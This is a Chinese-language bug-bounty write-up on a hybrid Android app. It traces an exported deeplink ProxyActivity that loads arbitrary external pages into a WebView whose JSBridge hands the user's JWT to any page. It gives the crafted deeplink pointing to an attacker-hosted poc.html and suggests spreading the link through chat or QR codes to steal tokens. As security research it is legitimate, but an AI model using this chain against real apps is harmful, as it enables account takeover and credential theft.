SRC挖掘
文集大纲加载中……
小迪安全知识库
-
+
首页
App接口接管调用挖掘
App接口接管调用挖掘
**0x01 简介** 混合 App 暗藏高危长链漏洞!在授权安全测试中,通过反编译审计发现目标 App 导出代理 Activity 存在 Deeplink 参数校验缺陷,可绕过路由拦截加载外部恶意 H5 页面。其 JSBridge 敏感能力全局注册,完全不校验网页来源,恶意页面能够直接调用原生接口读取本地持久 JWT 凭证。如今主流类App几乎无一例外采用原生+H5的混合开发架构,原生壳负责性能与推送,业务页面大量使用WebView技术来显示与承载。攻击者拿到 Token 即可冒充受害者执行业务操作,完成会话级账号接管。 > 本文内容仅用于网络安全技术学习与交流,所有操作均在授权测试环境下完成。严禁将文中技术用于未授权检测与非法攻击,违者责任自负。 ****0x02 正文详情**** > 如今就算代码功底一般,也可以借助 JADX 搭配 MCP 插件辅助完成代码审计分析。目标为混合架构 Android App。该应用存在 Deeplink 路由与 WebView JSBridge 组合漏洞,导出的代理 Activity 无严格参数校验,可加载外部恶意 H5 页面。 jadx-mcp-server ``` 链接:https://pan.quark.cn/s/1afc9de1149e ``` App安装与查壳 首先下载app,注册账号登录并访问。  登录app后可查看该app私有数据目录,可以发现FlutterSharedPreferences.xml文件存储用户的凭证信息,还有手机号,账号个人数据信息等,这里数据太多,只放了JWTtoken的截图信息。  既然存在token信息,这里其实可以去第一步想到的就是去分析下apk文件,看看有没有文件备份类漏洞,或者开启了debug调试类漏洞等等。 提取 APK命令如下: ``` adb shell pm path com.cdxxxxx.chxxxx ```  ``` adb pull <pm path输出的apk路径> ./base.apk ``` 首先apk查壳,可以发现没有进行加固处理  AndroidManifest分析 使用jadx反编译apk,注意这里如果遇到关键反编译代码文件无法反编译成功因为jadx-GUI默认开启的是“严格模式”,遇到反编译失败可以菜单 File → Preferences->Decompilation(反编译)选项卡->勾选Show inconsistent code点击save即可   第一步查看AndroidManifest.xml文件,通过查壳发现 android:allowBackup="false",说明该apk不允许导出,但是很多组件是设置的允许导出,但是组件不是这篇文章的重点,而且该组件导出的页面也不是修改密码,修改个人信息等敏感页面,所以相对危害性较低。  再查询debuggable是否存在,如果不存在说明默认关闭调试功能,与allowBackup字段刚好相反,如果AndroidManifest.xml文件中没有声明allowBackup则说明允许导出备份文件。  不过在这其中发现明文传输配置启用 ``` <applicationandroid:usesCleartextTraffic="true" ...> ```  同时导出组件里有一组scheme入口,其中最引人注意的是如下配置: ``` <activity android:name="com.xxxx.android.lib_architecture.splash.ProxyActivity" android:exported="true"> ``` 一个exported的代理Activity+自定义scheme,这通常就是外部网页/短信/二维码可触发的路由入口  WebView与JSBridge静态分析 首先通过上述AndroidManifest文件分析,可以发现存在scheme的组件包是com.xxxx.android,在这包中我们发现WebActivity容器,这个com.xxxx.android.comp\_webview.WebActivity是一个H5容器 ``` @Route(path = "/web/Default") ```  其中存在C0函数,这段函数用于过滤URL中APP自定义的内部交互参数,避免这些内部参数被带到外部链接、或泄露到第三方服务器,保证外部链接加载的纯净性。  第901行,Operators.CONDITION\_IF为自定义常量“?”,以?拆分传入的路径 然后遍历所有查询参数,过滤内部参数 ``` ArrayList arrayList = new ArrayList(); ``` 最后拼接处理好的参数 ``` // 把保留的参数用&拼接成新的查询字符串 ``` C0这段函数是没有任何域名校验的,直接return  综上初步简单分析,`/web/Default` 路由可以加载任意外部 URL地址的。 再看它的WebActivity类中的shouldOverrideUrlLoading公共方法  主要看532行代码、539行代码,检测用户提交的协议,如果是yy://桥协议,那么就交给父类处理。 如果不是HTTP\_PROTOCOL、HTTP\_PROTOCOL协议就一律全部拦截,反之则走到return Boolean.valueOf(z10);直接放行。其中HTTP\_PROTOCOL、HTTP\_PROTOCOL都是自定以的常量,分别为http://、https://  ``` if (s.G(str, "yy://", false, 2, null)) { ``` WebView的实现类是 `com.android.xxxx.webview_java.jsbridge.BridgeWebView`,该类中做了一定的安全检测,其中318行代码关闭了密码自动保存,防止WebView存储的网站密码被恶意读取,并且关闭了file域的跨域读  真正的问题在注入时机,BridgeWebView.this.f6265b为WebViewJavascriptBridge.js文件,该文件存储在assest目录下 ``` public void onPageFinished(WebView webView, String str) throws Throwable { ```   其中377行代码i5.b.e()函数把WebViewJavascriptBridge.js文件全部进行加载  JSBridge 通信协议拆解 assets里的`WebViewJavascriptBridge.js` 是URL Scheme桥,分析一下具体运行逻辑 JS 想调原生能力时,构造一个message对象;如果还需要回包(responseCallback),就生成一个唯一`callbackId` 并登记到`responseCallbacks` 字典里——相当于"留个回执地址"message 推进sendMessageQueue队列,然后设置一个隐藏iframe的src= 'yy://QUEUE\_MESSAGE'设置iframe的URL会触发 WebView 的`shouldOverrideUrlLoading` (shouldOverrideUrlLoading方法前面有讲,当检测用户提交的协议,如果是yy://桥协议,那么就交给父类处理)回调,Native 端拦截到 `yy://` 开头的scheme,就知道"队列里有消息了" ``` function _doSend(message, responseCallback) { ``` Native截获yy://QUEUE\_MESSAGE后,调用p(),通过 loadUrl("javascript:...\_fetchQueue()") 让JS把队列内容吐出来  q()截获yy://return/\_fetchQueue/... 后,从URL里取出key"\_fetchQueue",先去Map里查有没有对应登记的回调,有继续取 JSON、调 `bVar.a()` 分发——查handler注册表、执行原生逻辑、回包给JS。 ``` public final void q(String str) { ``` 整段代码分析重点为App启动时HogeWebViewInitializer.create()函数把40多个敏感handler(getUserInfo、getRequestHeader、......)一次性塞进全局 Map(h5.c.b().a()函数里面)  而WebView收到消息后分发时按message里的`handlerName`去全局Map查 → 查到就执行 → 完全不关心当前WebView里加载的是哪个网页、哪个域名。如下图,183-184行:  顺着前面HogeWebViewInitializer.create()函数中的敏感handler 顺着`getUserInfo`找到公共方法类`wb.a0`,调用t0函数获取FlutterSharedPreferences.xml文件信息,然后取出文件中取出Member-User-Authorization、userTokenKey认证信息  上图中2848行调用的gd.a.f15853a正式如下图的,其中FlutterSharedPreferences正是开头的FlutterSharedPreferences.xml文件 ``` return BaseApplication.INSTANCE.a().getSharedPreferences("FlutterSharedPreferences", 0); ```  通过上述分析,静态链闭环:任意页面 → callHandler('getUserInfo') → 全局注册表 → s0() → Token进响应回调。 Deeplink 路由链分析 `com.hoge.android.lib_architecture.splash.ProxyActivity` 是exported的scheme入口,其参数处理逻辑 攻击者构造链接sjqxx://hmas.app/xxx?link=,截取link=后面传入的URL,`URL`参数没有任何格式校验,URLDecoder后原样进入路由系统。 ``` public final void s0(Intent intent) throws UnsupportedEncodingException { ```  路由会经过拦截器链,这里踩了本次分析的第一个坑。最初我构造的link值是内部路由格式`hmas://web/Default?url=...`,deeplink 发出后ProxyActivity确实拉起了但WebActivity始终没动静。追进拦截器才发现原因——`nb.a`(DefaultRouteInterceptor)开头就是hmas://外部直达被拒  当不是hmas://时,使用http/https 时是另一个拦截器 `nb.g`进行处理,以http://或 https://开头的URL直接走分支流程进行跳转,没有任何白名单黑名单限制,d()只处理带专用链接,普通URL直接false,也就是说,把link的值直接写成http/https明文URL,就能一路穿过 ProxyActivity → 拦截器 → `/web/Default` → WebActivity。   最终 deeplink 形态sjqx x://hmas.app/message?link=http%3A%2F%2F<攻击服务器>%2Fpoc.html 一些代码踩坑绕过 桥明明在,回调却永远不来 WebActivity成功加载了攻击页,页面日志打出`bridge already there`——桥对象存在,`callAll()`已执行,无任何JS异常。但收集服务器上只有页面请求,没有任何`/collect`回传  不调用init(),回包被永久吞掉 重读桥JS,发现`_handleMessageFromNative`的receiveMessageQueue初始为 \[\],恒为真,只有\_dispatchMessageFromNative这里才会触发回调  漏洞复现 根据上述,分析撰写一个html恶意获取token脚本,运行在云服务器上。  这里如果是为了本地确认漏洞可以直接使用adb调用链接,如果真实攻击可以直接发链接以app发给用户或者是生成链接,用户使用app二维码扫码。  而且聊天框还存在html渲染,xss倒是有一定过滤,但是链接是能够渲染的,可直接发送恶意链接获取客服的token信息。  如下图,这里使用个人测试账号进行测试,直接加载服务器上运行的脚本,回显token信息  log日志文件也成功接收到用户的token信息  ## ****0x03 总结 **** 这次挖洞算是踩坑踩出经验了,本以为找到入口就能一气呵成复现,结果卡在 JSBridge 回调问题折腾许久。别看这条利用链看着复杂,代码基础一般的师傅借助 JADX+MCP 插件,也能顺藤摸瓜完成审计。简单来说就是 Deeplink 开门,恶意 H5 搭桥,JSBridge 没做来源校验,直接交出用户登录凭证。拿到 Token 就能接管会话,混合 App 的 H5 与原生通信这块,稍不留神就容易埋下这种高危大坑!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!
xiaodi
2026年10月2日 10:19
106
0 条评论
转发
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
分享
链接
类型
密码
更新密码
有效期
Markdown文件
Word文件
PDF文档
PDF文档(打印)